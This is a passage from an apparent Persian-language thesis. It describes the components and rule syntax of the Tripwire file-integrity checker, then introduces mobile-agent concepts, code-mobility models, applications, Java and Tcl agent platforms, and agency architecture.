
 .گذاري و بخش بانك اطلاعاتي خش هشداردهنده، بخش نشانهاز بخش مديريت، ب

 بخش مديريتبخش مديريتبخش مديريتبخش مديريت •

كد برنامه . باشد پذيري مي هاي جابجايي، گسترش و انعطاف  دارد داراي قابليتtripwireسيستم مديريتي كه 

tripwire به زبان C نوشته شده است و از توابع استاندارد POSIXليت  استفاده كرده است، به همين لحاظ قاب

توان از  براي پيكربندي  اين سيستم مي. باشد  را دارا ميUnixعامل مبتني بر  هاي اجرا بر روي انواع سيستم

  .دهد  استفاده كرد كه امكان پيكربندي سريع سيستم را در اختيار قرار ميM4پردازشي مانند  هاي پيش قابليت

 دهيدهيدهيدهي    بخش هشداردهنده و گزارشبخش هشداردهنده و گزارشبخش هشداردهنده و گزارشبخش هشداردهنده و گزارش •

توان  اين  در اين سيستم به دو طريق مي.  را تعيين كردtripwireدهي  حوه گزارشتوان ن در فايل پيكربندي مي

 گرفتن خطاهاي رخ داده شده و يا استفاده از سرويس logها عبارتند استفاده از  اين روش.  كار را انجام داد

  .پست الكترونيكي براي ارسال خطاهاي پياده شده

 گذاريگذاريگذاريگذاري    بخش نشانهبخش نشانهبخش نشانهبخش نشانه •

Tripwire هاي مختلفي  توانند توسط الگوريتم اين امضاها مي.  دارد چندين نمونه امضاء نگه مي براي هر فايل

بسته به سرعت كار و همچنين ميزان .  توليد شده باشدsnefru و MD5 ،MD4 ،MD2 ،SHA ،HAVALمانند 

 و MD5فرض از الگوريتم   به صورت پيشtripwireدر . توان الگوريتم مورد نظر را تعيين كرد اطمينان مي

snefruشود  استفاده مي. 

        بخش بانك اطلاعاتي بخش بانك اطلاعاتي بخش بانك اطلاعاتي بخش بانك اطلاعاتي  •

اطلاعات . شود تا مشخصه فعلي آن تعيين شود  ميscanسيستم   قبل از شروع به كار ابتدا كل فايلtripwireدر 

  .شود آوري شده در اين مرحله در يك بانك اطلاعاتي ذخيره مي جمع
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  tripwireقوانين  -۲-۶-۲-۲

فرمت .  وارد كردetc/tripwire/twpol.txt/توان در فايل  قوانين را مي. شود ام مي به راحتي انجtripwireنوشتن قوانين 

  :كلي قوانين به صورت زير است
File/Directory -> Rule 

Ruleشود به ترتيب زير هستند  كه در اين قوانين استفاده مي: 

• $(IgnoreNone)-Sha :هايي كه به هيچ عنوان نبايد تغيير پيدا كند فايل. 

• $(ReadOnly) :هاي باينري كه نبايد تغيير پيدا كند فايل. 

• $(Dynamic) :كنند هاي پيكربندي كه دائماً تغيير پيدا نمي فايل. 

• $(Growing) :شود اما نبايد مالكيت آنها تغيير كند هايي كه سايز آنها زياد مي فايل. 

• +tpug :هايي كه نبايد تغيير پيدا كنند دايركتوري. 

 .داقل امنيت در مورد آنها لازم استهايي كه ح فايل: 33 •

 .در مورد آنها لازم است هاي كه امنيت كمي فايل: 66 •
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  هاي متحرك عامل -۳
 به عنوان يك بستر Agletشود و سپس  هاي متحرك پرداخته مي  اين فصل در ابتدا به معرفي مفاهيم اصلي عامل در

  .شود ده ميعامل كه در اين پروژه مورد استفاده قرار گرفته است، شرح دا

  هاي متحرك مفاهيم اوليه عامل -۳-۱
  .[11]گيرد هاي متحرك مورد بررسي قرار مي  اين بخش مفاهيم اوليه عامل در

  ها معرفي عامل -۳-۱-۱

در اينجا نيز قبل از انجام هر كاري به ارائه . اولين قدم در برخورد با هر مطلبي شناخت صحيح از آن موضوع است

آيد  اين است كه يك عامل با  ن سوالي كه هنگام مقابله با عامل در ذهن به وجود مياولي. شود مفهوم عامل پرداخته مي

از ديد يك كاربر تعريف . هاي مختلفي پاسخ گفت توان به روش اين سوال را مي.  يك برنامه كاربردي چه تفاوتي دارد

  :عامل به اين ترتيب خواهد بود

 اين عامل با بر عهده  .شود كه كارهايي را براي او انجام دهد اي است كه از طرف كاربر موظف مي يك عامل برنامه

  .تواند او را در پيشبرد كارش كمك كند گرفتن وظايف كاربر مي

ها انواع مختلفي دارند و در  عامل. پوشاند با آنكه  اين تعريف يك تعريف صحيح است، اما تمام معناي كلمه را نمي

شود كه يك  ها نگاه شود، ديده مي اگر با دقت به تمام اين عامل. ه قرار گيرندتوانند مورد استفاد كارهاي مختلفي مي

توانند با محيط اجرايي  ها مي عامل. ها است  عامل١مشخصه در تمام آنها به صورت مشترك وجود دارد و آن محيط اجرايي

راي آنها تعريف شده است كار  با توجه به هدفي كه ب٣ و غيرهمزمان٢خود ارتباط برقرار كنند و به صورت خودمختار

توانند كار خود را انجام  گراء مي نويسي شئ ء فعالي هستند كه برخلاف ساير اشياء در برنامه ها اشيا عامل. خود را انجام دهند

  :دادها را ارائه  تري از عامل توان تعريف دقيق حال با توجه به مطالب گفته شده مي. دهند و كاربر را از نتيجه با خبر كنند

  :اي است كه عامل شئ

 .در يك محيط اجرايي فعاليت كنند •

 :داراي خصوصيات اصلي زير باشند •

o ٤واكنشي 

o ٥خودمختاري 

o ١هدفمند 

                                                        
1 Execution Environment 
2 Autonomous 
3 Asynchronous  
4 Reactive 
5 Autonomous 
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o اجراي مستمر 

 :داراي خصوصيات اختياري زير باشند •

o ٢برقراري ارتباط 

o ٣جابجايي 

o ٤يادگيري 

. شود ه مشخصه جابجايي توجه بيشتري ميهاي متحرك استفاده شده است ب با توجه به اينكه در اين پروژه از عامل

براي مثال . ها متحرك نيستند باشد به  اين معني كه تمام عامل ها مي خاصيت جابجايي يك خاصيت اختياري براي عامل

براي مثال از طريق (هاي مختلف ارتباط برقرار كند  تواند در محلي مستقر باشد و با اطراف خود به روش يك عامل مي

عامل : توان به دو دسته تقسيم كرد ها را مي به اين ترتيب از ديدگاه قابليت جابجايي، عامل).  و يا انتقال پيغامRPC٥ارتباط 

  .غيرمتحرك و عامل متحرك

 عامل غيرمتحركعامل غيرمتحركعامل غيرمتحركعامل غيرمتحرك •

در . دهد ماند و ادامه فعاليت مي عامل غيرمتحرك تنها بر روي ميزباني كه شروع به فعاليت كرده، باقي مي

مل احتياج به اطلاعاتي داشته باشد كه روي آن ميزبان وجود نداشته باشد و يا آنكه نياز به  اين عا صورتيكه

هايي همانند ارسال پيغام  تواند از مكانيزم هاي ديگر داشته باشد مي ها بر روي ميزبان تبادل اطلاعات با ساير عامل

 .استفاده كند

 عامل متحركعامل متحركعامل متحركعامل متحرك •

ماند و   روي ميزباني كه شروع به فعاليت كرده باقي نميهاي غيرمتحرك، عامل متحرك بر برخلاف عامل

كه عاملي قصد تغيير مكان داشته باشد بايد كد و حالت  هنگامي. هاي متفاوت حركت كند تواند بين ميزبان مي

تواند ادامه كار قبل خود  با منتقل كردن حالت اجرايي، عامل در ميزبان جديد مي. اجرايي نيز با خود منتقل كند

  .انجام دهدرا 

  هاي مختلف انتقال كد بر روي شبكه روش -۳-۱-۲

توان  ها مي از طريق اين دسته از عامل. باشد هاي روي شبكه مي هاي متحرك روش كارا و مناسبي براي فعاليت عامل

ك، هاي متحر اما بايد توجه داشت كه علاوه بر عامل. سازي كرد اي را بر روي شبكه طراحي و پياده شده هاي توزيع سيستم

نويسي توزيع شده در شبكه وجود دارد كه در ادامه به اختصار به معرفي آنها پرداخته  هاي ديگري نيز براي برنامه روش

  .شود مي

                                                                                                                                                                     
1 Goal-driven 
2 Communicative 
3 Mobile 
4 Learning 
5 Remote Procedure Call 
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  Client-Serverروش  -۳-۱-۲-۱

ها را بر روي يك  اي از سرويس شود يك سرويسگر مجموعه  مشاهده مي۱-۳ كه در شكل client-serverدر مدل 

-Know(كند   اين امكانات را فراهم مي كدي كه. مكان دسترسي به تعدادي از منابع فراهم شودكند تا ا ميزبان فراهم مي

how (به صورت محلي بر روي ميزبان سرويسگر قرار دارد .  

  
        Client-Server  مدل مدل مدل مدل----۱۱۱۱----۳۳۳۳شكل شكل شكل شكل 

در صورتيكه . نها پاسخ دهدهاي دريافتي را آناليز كند و به آ در اين روش سرويسگر وظيفه دارد كه درخواست

clientمتناسب با آن منبع كه توسط   بخواهد از منابع موجود در سرويسگر استفاده كند كافي است به سادگي سرويس 

 بداند براي دسترسي به هر منبعي از چه clientلازمه  اين كار  اين است كه . سرويسگر فراهم شده است را فرا بخواند

توان  اند كه به عنوان مثال مي سازي شده  اين اساس پياده هاي توزيع شده بسياري بر اكنون سرويست. سرويسي استفاده كند

  . اشاره كردRMI و RPC ،CORBAبه 

  Code-on-Demandروش  -۳-۱-۲-۲

 . نشان داده شده است۲-۳اين مدل در شكل 

  
        Code-on-Demand مدل  مدل  مدل  مدل ----۲۲۲۲----۳۳۳۳شكل شكل شكل شكل 

توان مواقعي  براي مثال مي. كند دهنده را دريافت مي م قطعه كد پردازشگر و سرويس در مواقع لازclientدر اين روش 

 به علت عدم وجود قطعه كد لازم توانايي كافي را براي انجام كار خود ندارد، اما در روي شبكه clientرا فرض كرد كه 

را درخواست و آن را بر روي ميزبان  آن قطعه كد clientدر اين حالت . باشد ميزباني وجود دارد كه داراي آن كد مي

ها از   برنامهJava appletدر . هاي خوبي از اين دسته از ارتباطات است نمونهJava servlet و Java applet. آورد خود مي

 به clientها از سمت   برنامهservletشود و در   منتقل و اجرا ميclient در سمت web browserسمت سرويسگر به 

  .گردد شود و در آنجا اجرا مي ال ميسرويسگر ارس
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  روش عامل متحرك -۳-۱-۲-۳

  . مشاهده كرد۳-۳توان در شكل  طرح كلي اين مدل را مي

  

        هاي متحركهاي متحركهاي متحركهاي متحرك     مدل عامل مدل عامل مدل عامل مدل عامل----۳۳۳۳----۳۳۳۳شكل شكل شكل شكل 

در اين روش قطعه كد پردازشگر به همراه حالت اجراي آن به صورت خودمختار از روي ميزباني به ميزبان ديگر 

  .كند حركت مي

  هاي متحرك دلايل استفاده از عامل -۳-۱-۳

  .شود هاي متحرك پرداخته مي در اين بخش به معرفي چند دليل اساسي براي استفاده از عامل

 كاهش بار شبكه -۳-۱-۳-۱

در يك كار كه به صورت توزيع شده . كنند هاي ارتباطي عمل مي هاي توزيع شده معمولا بر اساس پروتكل سيستم

 اين ارتباطات  ها مطرح باشد، تعداد وقتي كه مسائل امنيتي و حفاظت داده. گيرد  صورت ميبايد انجام شود، چندين ارتباط

هاي  در صورت استفاده از عامل. گونه اعمال ارسال حجم زيادي داده بر روي شبكه است نتيجه  اين. بيشتر خواهد شد

عامل قرار داد و سپس عامل را به مقصد افزاري در داخل يك  توان انجام يك كار را در قالب يك بسته نرم متحرك، مي

با استفاده از اين روش بعد از دريافت عامل در مقصد، ساير تعاملات به صورت محلي در داخل آن ميزبان . ارسال كرد

  . مشاهده كرد۴-۳توان در شكل  اين مطلب را مي. شود انجام مي
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        ها براي انجام ارتباطات توزيع شدهها براي انجام ارتباطات توزيع شدهها براي انجام ارتباطات توزيع شدهها براي انجام ارتباطات توزيع شده    وشوشوشوش تفاوت مدل عامل متحرك و ساير ر تفاوت مدل عامل متحرك و ساير ر تفاوت مدل عامل متحرك و ساير ر تفاوت مدل عامل متحرك و ساير ر----۴۴۴۴----۳۳۳۳شكل شكل شكل شكل 

. هاي متحرك در مواردي كه حجم بالايي از اطلاعات بايد ارسال و دريافت شود مفيد خواهد بود استفاده از عامل

يك . توان آنها را پردازش كرد براي مثال اگر حجم زيادي از اطلاعات بر روي ميزباني وجود داشته باشد به دو طريق مي

ها به صورت محلي و ارسال  طلاعات از آن ميزبان به يك ميزبان پردازشگر است و در ديگري پردازش دادهروش ارسال ا

  .واضح است كه حجم ترافيكي ارسالي توسط اين دو روش بسيار متفاوت خواهد بود. باشد نتيجه آن مي

  غلبه بر تاخير شبكه -۳-۱-۳-۲

حتياج دارند كه به صورت سريع با توجه به تغييرات  براي انجام كار خود اreal-timeهاي حساس به زمان و  سيستم

. ساز شود تواند مشكل ها از طريق شبكه معمولا به علت تاخير آن مي گونه سيستم كنترل اين. محيط اجرا واكنش نشان دهند

كننده  رلتوان عامل متحرك از سمت كنت براي مثال مي. گونه موارد مفيد خواهد بود هاي متحرك در اين استفاده از عامل

 منتقل شود و ساير اعمال با توجه به اهدافي كه براي آن تعريف شده است به صورت محلي real-timeمركزي به سيستم 

  .در آنجا اجرا شود

  كپسوله كردن پروتكل ارتباطي -۳-۱-۳-۳

 از آيد، لازم است كه در هر كدام ها به ميان مي شده بحث تبادل اطلاعات ميزبان هاي توزيع زماني كه در سيستم

در برخي موارد كه اين پروتكل ارتباطي احتياج به . ها وجود داشته باشد ها پروتكل ارتباطي براي دريافت داده ميزبان

ها  لازم است كه در هر كدام از ميزبان) سازي بيشتر ايمن  براي مثال به منظور بالا بردن كارايي و يا(تغييراتي داشته باشد 

هاي  در صورت استفاده از عامل. گير است بر و وقت است كه اين كار يك عمل زمانواضح . اين تغييرات اعمال شود

  .توان پروتكل ارتباطي را توسط عامل به هر ميزبان منتقل كرد در اين حالت مي. توان اين مشكل را حل كرد متحرك مي
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  اجرا به صورت خودمختار و غيرهمزمان -۳-۱-۳-۴

در صورتيكه .  و يك شبكه ثابت كاري پرهزينه و مشكل استسازي ارتباط دائم بين يك سيستم متحرك برقراري

در اين روش . هاي متحرك استفاده كرد توان از عامل يك سيستم متحرك احتياج به يك ارتباط دائم داشته باشد، مي

ن به ها بعد از ارسال شد اين عامل. توانند در قالب يك عامل متحرك به سيستم متحرك منتقل شوند كارهاي مورد نظر مي

تواند  در اين صورت سيستم متحرك بعد از قطع ارتباط نيز مي. توانند به صورت مستقل به كار خود بپردازند آن سيستم مي

توانند برگردند و نتيجه را  ها مي بعد از اتصال مجدد سيستم متحرك به شبكه عامل. هاي مورد نظر را دريافت كند سرويس

  .شان داده شده است اين قضيه ن۵-۳در شكل . بازگردانند

  
  ها به صورت خودمختارها به صورت خودمختارها به صورت خودمختارها به صورت خودمختار     اجراي عامل اجراي عامل اجراي عامل اجراي عامل----۵۵۵۵----۳۳۳۳شكل شكل شكل شكل 

  تطبيق به صورت پويا -۳-۱-۳-۵

براي . توانند تغييرات محيط اجرايي خود را تشخيص دهند و با توجه به آنها خود را تطبيق دهند هاي متحرك مي عامل

هر . هاي مختلفي بروند ه توزيع شوند و هر يك به ميزبانتوانند در شبك مثال چندين عامل متحرك با مشخصات يكسان مي

توانند خود را به صورت بهينه تطبيق دهند تا  عامل بعد از رسيدن به يك ميزبان با توجه به مشحصات آن ميزبان مي

  .كارهاي لازم را انجام دهند
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  ١هاي ناهمگون اجرا بر روي محيط -۳-۱-۳-۶

هاي  ختار ناهمگون است، به اين معني كه در آن سيستمهاي كامپيوتري در حالت كلي سك سا ساختار شبكه

هاي متحرك معمولا به صورت مستقل از كامپيوتر و  با توجه به آنكه عامل. افزاري متفاوتي وجود دارد افزاري و سخت نرم

ف و ناهمگون را توانند اجرا شوند و تنها وابسته به محيط اجرايي هستند قابليت اجرا بر روي بسترهاي مختل لايه انتقال مي

  .دارند

  fault-tolerantقابليت اطمينان و  -۳-۱-۳-۷

كند  هاي متحرك در واكنش نشان دادن به صورت پويا در مقابل شرايط مختلف اين امكان را فراهم مي قابليت عامل

شده،  يعبراي مثال اگر در يك سيستم توز. سازي شده توسط آنها داراي قابليت اطمينان زيادي باشند هاي پياده تا سيستم

  .توانند همچنان به كار خود ادامه دهند ها مي ها به هر دليلي از بين بروند ساير عامل تعدادي از عامل

  هاي متحرك كاربردهاي متفاوت عامل -۳-۱-۴

در اين بخش تعدادي از كاربردهايي كه . توان براي كاربردهاي متفاوتي استفاده كرد هاي متحرك مي از عامل

  .شوند د در آنها مفيد باشند به صورت مختصر معرفي ميتوانن هاي متحرك مي عامل

 تجارت الكترونيكي -۳-۱-۴-۱

يك معامله تجارت الكترونيكي احتياج . هاي متحرك براي استفاده در تجارت الكترونيكي بسيار مفيد هستند عامل

كنند و  فاوتي را دنبال ميهاي متفاوت، اهداف مت عامل. ها دارد دور نظير نرخ سهام  به منابع راهreal-timeدسترسي سريع و 

توان به عنوان  ها را مي در اين رابطه عامل. هاي مختلفي را براي رسيدن به آن هدف در پيش بگيرند توانند استراتژي مي

  .كنند هاي آنها عمل و به سود آنها كار مي كارگزاراني در نظر گرفت كه با توجه به اهداف سازنده

  ٢دستيار شخصي -۳-۱-۴-۲

دور، آنها را تبديل به ابزاري سودمند براي انجام  هاي راه تحرك براي فعاليت بر روي ميزبانهاي م توانايي عامل

دور، اين امكان را براي كاربر  استفاده از عامل به عنوان دستيار راه. كارهاي مناسب با درخواست سازنده آن كرده است

تواند  براي مثال مي. دور انجام دهد روي ميزبان راههاي شبكه، كارهاي لازم را بر  كند كه مستقل از محدوديت فراهم مي

توسط آن عامل ميزبان مورد نظر را خاموش كند يا براي مثال اگر هماهنگ كردن قرار ملاقاتي بين چند نفر لازم باشد، 

  .توان عامل را به ميزبان آن افراد فرستاد تا قرار ملاقات را به آنها خبر دهد مي

                                                        
1 Heterogeneous 
2 Personal assistance 
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  دهش بازيابي اطلاعات توزيع -۳-۱-۴-۳

در اين كاربرد به جاي آنكه حجم زيادي از . هاي متحرك است بازيابي اطلاعات يكي از كارهاي رايج در عامل

توان عاملي را به آن ميزبان  ها براي جستجو به موتور جستجوگر داده شوند تا آن يك ليست جستجو درست كند، مي داده

تواند جستجوهاي  علاوه بر اين يك عامل مي. جه را بازگرداندارسال كرد و اين عامل، ليست جستجو را درست كند و نتي

  .لازم را در ميزبان مورد نظر انجام دهند و گزارش كار باز فرستد

  دور شبكه هاي راه سرويس -۳-۱-۴-۴

ها و پيكربندي پوياي آنها كاري پيچيده  دور شبكه با توجه به سايز شبكه هاي ارتباط راه پشتيباني و مديريت سرويس

هاي متحرك در اين زمينه  اين مسائل باعث شده است كه استفاده از عامل. ا بايد با توجه به پرايط تغيير كنداست و دائم

  .بتوانند كمك زيادي را ارائه دهند

  كنترل و خبر دادن -۳-۱-۴-۵

تواند يك منبع را  يك عامل مي. هاي متحرك منشعب شده است اين كاربرد از خصوصيت عملكرد غيرهمزمان عامل

توانند مستقل از يكديگر منبع مورد نظر را مورد بررسي  ها مي در اين حالت عامل. حل آن كنترل و بازبيني كندمستقل از م

تواند مستقل  در اين حالت هر عامل با گرفتن اطلاعات مورد نظر مي. قرار دهند و هر يك پارامتر خاصي را كنترل كنند

  .ها نتيجه را بازگرداند از ساير عامل

  نپردازش همزما -۳-۱-۴-۶

در صورتيكه . هاي متحرك داشت پردازش همزمان اطلاعات است توان از عامل يكي از كاربردهاي مفيدي كه مي

توان آن پردازش را بين  پردازش مورد نظر به توان پردازشي بيشتري نسبت به توان پردازشي يك ميزبان داشته باشد مي

  .س نتيجه را بازگرداندهاي گوناگون توزيع كرد و سپ هاي مختلف توسط عامل ميزبان

  هاي متحرك معرفي بسترهاي نمونه از عامل -۳-۱-۵

هاي  عامل. شود هاي متحرك پرداخته مي سازي شده براي كار با عامل در اين بخش به معرفي تعدادي از بسترهاي پياده

ترين اين  ي از رايجيك. شوند كه مستقل از هر سيستم بتواند اجرا شود سازي مي هايي پياده متحرك معمولا به وسيله زبان

 ايجاد شده  هاي متحرك  براي كار با عاملJavaتاكنون بسترهاي گوناگوني توسط .  استJavaنويسي  ها، زبان برنامه زبان

  :ها عبارتند از تعدادي از اين نمونه. است
• Aglets 

از عملكرد ايده كار خود را  اين سيستم . سازي شده است  طراحي و پيادهIBMاين سيستم توسط كمپاني 

applet  هايJavaهدف از انجام اين طرح دادن توانايي و قابليت جابجايي به .  گرفته استapplet  ها به صورت

 اين applet با Agletشباهت .  استagent و applet متشكل از دو كلمه Agletكلمه . خودمختار بوده است
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 Agletها به طراحي  appletهاي طراحي  ايده فاده از دهد كه با است نويسان قرار مي امكان را در اختيار برنامه

  .بپردازند
• Odyssey 

اين كمپاني به عنوان محصول اول . سازي شده است  طراحي و پيادهGeneral Magicاين سيستم توسط كمپاني 

با پيشرفت . اين سيستم داراي عمر كوتاهي بود.  را ارائه كرد كه يك محصول تجاري بودTelescriptخود 

سازي شده بود را به   پيادهJava را كه توسط General Magic ،Odysseyهاي كامپيوتري و مفاهيم آن،  كهشب

 به صورت Telescriptدر اين سيستم جديد مفاهيم استفاده شده در .  معرفي كردTelescriptعنوان جايگزين 

 .بهينه مورد استفاده قرار گرفته است

• Concordia 
هاي مبتني بر  سازي و مديريت برنامه  است بستري براي پيادهMitsubishiاني اين سيستم كه محصول كمپ

اين . اند سازي شده  پيادهJavaهاي مختلفي است كه با زبان  اين سيستم داراي بخش. هاي متحرك است عامل

  .، يك سرويسگر و تعدادي عامل استJavaترين حالت داراي يك ماشين مجازي  سيستم در ساده
• Voyager 

Voyagerهاي متحرك توسط زبان  هايي است كه براي كار با عامل  يكي ديگر از سيستمJavaسازي و  پياده

اي از اشياء را براي تبادل پيغام فراهم كرده است  اين سيستم در حاليكه مجموعه. مورد استفاده قرار گرفته است

به عبارتي . مل در شبكه حركت كننددر عين حال اين امكان را براي اشياء فراهم كرده است تا به صورت عا

 در ORB١هاي متحرك و همچنين   دانست كه داراي دو خصلت بستر عامل توان سيستمي  را ميVoyagerسيستم 

  .باشد  مي Javaاشياء مبتني بر 

اي ه ها، سيستم اما علاوه بر اين سيستم. گيرند  به صورت گسترده مورد استفاده قرار ميJavaهاي مبتني بر  سيستم

هايي كه براي   زبانJavaغير از . اند هاي ديگري براي كار خود استفاده كرده اند كه از زبان سازي شده ديگري نيز پياده

در ادامه تعدادي از . Scheme و Perl؛ Tcl ،Python: گيرد عبارتند از هاي متحرك مورد استفاده قرار مي نويسي عامل برنامه

  .شوند اند معرفي مي سازي شده ها پياده بسترهايي كه بر اساس اين زبان

• Agent Tcl) ) ) ) D`Agent(((( 

اين . باشد هاي متحرك مي  است و بستري مناسب براي كار با عاملDarthmouth Collegeاين سيستم محصول 

 با امنيت مناسب و  در اين مدل يك سرويس براي برقراري ارتباط. سازي شده است  پيادهTclبستر توسط زبان 

 سرويسگري است كه بر روي هر Agent Tclمهمترين بخش . ايجاد شده است   كردنdebugكان همچنين ام

وقتي كه عاملي . دهد اين سرويسگر به تمام اجزاء سيستم امكان حركت كردن را مي. گيرد ميزبان قرار مي

راه عامل، اطلاعات كند و به هم خواند كه حالت فعلي عامل را ذحيره مي بخواهد جابجا شود، سيگنالي را فرا مي

اي كه متوقف شده بود  تواند عامل را از نقطه ميزبان مقصد بعد از دريافت اين اطلاعات مي. فرستد آن را نيز مي

 .مجدداً اجرا كند

 
  

                                                        
1 Object Request Broker 
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• Ara 
Ara محصول كار در دانشگاه Kaiserslauternهاي  اين سيستم بستري مناسب براي ارتباط و كار با عامل.  است

  .باشد متحرك مي
• Tacoma 

هاي متحرك انجام  عامل و پشتيباني آنها از عامل  تحقيقي را در رابطه با سيستمCornell و Tromsoهاي  دانشگاه

هاي  عامل وجود دارد با كمك گرفتن از عامل هاي دادند و سعي كردند كه بعضي از مشكلاتي را كه در سيستم

، Tcl/Tk ،Perl ،Cهاي  است كه با زبان محصول اين تحقيق است كه بستري Tacoma. متحرك حل كنند

Python و Schemeنوشته شده است  .  

  هاي متحرك ساختار عامل -۳-۲
  .شود هاي مختلف يك بستر عامل متحرك پرداخته مي در اين بخش به بيان ساختار بخش

  ها دهنده عامل هاي سرويس سيستم -۳-۲-۱

علاوه بر اين بايد . سازي آنها کافي نيست هاي متحرک بتوانند به درستي عمل کنند تنها پياده براي آنکه عامل

به . ها را ارسال و دريافت کند ها پاسخ دهد و همچنين بتواند عامل اي بر روي هر سيستم نصب شود تا بتواند به عامل برنامه

سازي،  همستقل از نوع پياد. [3]سازي كرد هاي مختلف پياده توان به روش  را ميAgency. شود  گفته ميagencyاين برنامه 

  .باشد  مي۶-۳معماري کلي اين برنامه مطابق شکل 

  

Communication

Inter agent
messaging

Agent repository

Executer
Interpreter

State engine

Security

Directory
Database

OS

  
        agency معماري کلي يک  معماري کلي يک  معماري کلي يک  معماري کلي يک ----۶۶۶۶----۳۳۳۳شکل شماره شکل شماره شکل شماره شکل شماره 

اولين بخش ماجولي براي تبادل اطلاعات است که وظيفه ارسال و . هاي مختلفي است  داراي بخشagencyيک 

 دارد که repositoryاين بخش واحد ديگري به نام . ها را بر عهده داردها و همچنين تبادل اطلاعات بين آن دريافت عامل

واحد ديگر .  ايجاد صف اجرا را بر عهده دارد ها و دهد، علاوه بر اين وظيفه تنظيم اولويت عمل تعيين هويت را انجام مي
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. وشته شده اند را اجرا کندهاي مختلف ن هايي را که به زبان تواند عامل  است که يک مترجم است و ميexecuterواحد 

گيرد با عامل چه   است و داراي قوانيني است که تصميم ميagency است که شامل حالت فعلي state engineبخش ديگر 

هاي ديگري به عنوان بانک اطلاعاتي  بخش. کند ها را نيز پشتيباني مي اين بخش همچنين ارتباط بين عامل. عملي انجام دهد

 است که بررسي securityبخش ديگر بخش . شود ها در آنجا ذخيره و يا از آنجا بازيابي مي عات عاملوجود دارد که اطلا

اين بخش وظيفه بررسي عملکرد . ها اجازه انجام چه کاري را دارند و اجازه انجام چه کاري را ندارند کند که عامل مي

agencyرا نيز بر عهده دارد .  

  عامل  -۳-۲-۲

 ٤، شناسه٣، واسطه٢سازي ، پياده١باشد كه عبارتند از حالت ت كه داراي پنج مشخصه مياس يك عامل متحرك، مفهومي

اين پنج مشخصه را . [11]كند كند اين مشخصات را با خود حمل مي وقتي كه عاملي در سطح شبكه حركت مي. ٥و مدير

  . مشاهده كرد۷-۳توان در شكل  مي

  
         پنج مشخصه يك عامل پنج مشخصه يك عامل پنج مشخصه يك عامل پنج مشخصه يك عامل----۷۷۷۷----۳۳۳۳شكل شكل شكل شكل 

با استفاده از اين . كند اندازي مجدد در ميزبان مقصد استفاده مي  عامل از اين مشخصه براي راه::::حالتحالتحالتحالت •

 .تواند حالت قبل خود را حفظ كند اطلاعات، عامل مي

 .گيرد  اين مشخصه براي اجراي مستقل از مكان مورد استفاده قرار مي::::سازيسازيسازيسازي    پيادهپيادهپيادهپياده •

 .شود ز اين مشخصه استفاده ميها ا  براي برقراري ارتباط با عامل::::واسطهواسطهواسطهواسطه •

 .شود  از اين مشخصه براي مشخص كردن عامل و تعيين محل آن از شناسه استفاده مي::::شناسهشناسهشناسهشناسه •

 .شود  از اين مشخصه براي تعيين و حدود قانوني كار عامل استفاده مي::::مديرمديرمديرمدير •

                                                        
1 State 
2 Implementation 
3 Interface 
4 Identifier 
5 Principals 
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  حالت -۳-۲-۲-۱

نجام اين كار اين است كه علت ا. كند كند، حالت خود را با خود حمل مي وقتي كه عاملي از محل خود حركت مي

توان به صورت تصويري از  حالت هر عامل در هر لحظه را مي. عامل بتواند كار خود را در ميزبان مقصد ادامه دهد

كه دربرگيرنده اطلاعات (توان به دو بخش، حالت اجرا  اين حالت را مي. عملكرد آن عمل در لحظه مورد نظر دانست

كه دربرگيرنده مقادير ذخيره شده در متغيرهاي آن (و حالت عامل ) باشد شمارنده پشته مياجرايي مثل شمارنده برنامه و 

  . تقسيم كرد) است

براي مثال در مواقعي كه با استفاده از . يك عامل در حالت كلي احتياجي به ذخيره كردن حالت اجرايي ندارد

اطلاعات حالت . ي به ذخيره حالت اجرايي نيستاطلاعات حالت عامل بتوان تخميني از وضعيت عامل زد، ديگر احتياج

استفاده از . كند تا مشخص شود بعد از رسيدن عامل به ميزبان مقصد چه عملي بايد صورت گيرد عامل، به عامل كمك مي

  .تواند مفيد باشد اين حالت در شرايطي كه به حالت اجرايي دسترسي نيست مي

  سازي پياده -۳-۲-۲-۲

كه يك عامل از  هنگامي. ها هم به يك كد اجرايي براي اجرا شدن احتياج دارند املهمانند هر برنامه كامپيوتري، ع

تواند  يك حالت اين است كه عامل مي. توان دو حالت را در نظر گرفت شود، مي ميزباني به يك ميزبان ديگر منتقل مي

وجود دارد استفاده كند و ساير تواند از كدي كه در ميزبان مقصد  كد اجرايي خود را با خود حمل كند و يا آنكه مي

 درخواست Code-on-Demandها به صورت  كدهاي مورد نياز را در صورت عدم وجود در آن ميزبان از ساير ميزبان

  . كند

همچنين اين اجرا بايد . سازي يك عامل بايد به صورتي باشد كه قابليت اجرايي در ميزبان مقصد را داشته باشد پياده

 كه به صورت مستقل از ماشين قابليت Perl و Java ،Tclهاي تفسيري مثل   گونه و يا زبانscriptي ها زبان. امن باشد

  .اجرايي دارند براي انجام اين كار مناسب هستند

  واسطه -۳-۲-۲-۳

هاي ديگر بتوانند از طريق آن با اين عامل ارتباط برقرار  ها و سيستم اي را فراهم كند تا عامل يك عامل بايد واسطه

ها از طريق آنها به توابع عامل دسترسي  ها و سيستم  تابع باشد كه ساير عامل تواند يك سري نشانه ن واسطه مياي. كنند

اي از اين  نمونه. ها از طريق آن با يكديگر گفتگو كنند باشد كه عامل تواند يك واسطه پيغامي  داشته باشند و يا آنكه مي

  . استKQMLها زبان ارتباطي  واسطه

KQMLها را شامل  اي متنوع از انواع پيغام اين زبان مجموعه. ها است بان براي برقراري ارتباط بين عامل يك ز

  .توانند نيازهاي خود را پردازش كنند ها از طريق آن مي شود كه عامل مي



  ٣٩

  شناسه -۳-۲-۲-۴

تواند شماره  اين شماره براي مثال مي. اي است كه در طول حيات آن، ثابت و منحصربفرد است هر عامل داراي شناسه

  .مدير عامل به اضافه يك شماره سريال باشد

 مدير -۳-۲-۲-۵

اي است كه هويت آن در مواقعي كه عامل بخواهد به ميزباني دسترسي داشته باشد مورد بررسي و تعيين  مدير مشخصه

شخصه اين م. آورد در صورت صحت تعيين هويت، عامل مجوز دسترسي به منابع سيستم را بدست مي. گيرد هويت قرار مي

تواند نام و يا مشخصات مجزاء براي عامل باشد و يا آنكه مشخصات مركزي باشد كه عامل را به وجود آورده و يا  مي

 ١تواند در اين راستا كمك كند عبارتند از توليدكننده براي يك عامل پارامترهايي كه مي. آنكه پارامترهاي ديگري باشد

  .ت عامل كه سازنده آن اس٢بستر عامل و مالك

 ٣مكان -۳-۲-۳
ترين ديدگاه در رابطه با محيط  رايج. باشد هاي متحرك مي اي در رابطه با عامل مكان يكي ديگر از مفاهيم پايه

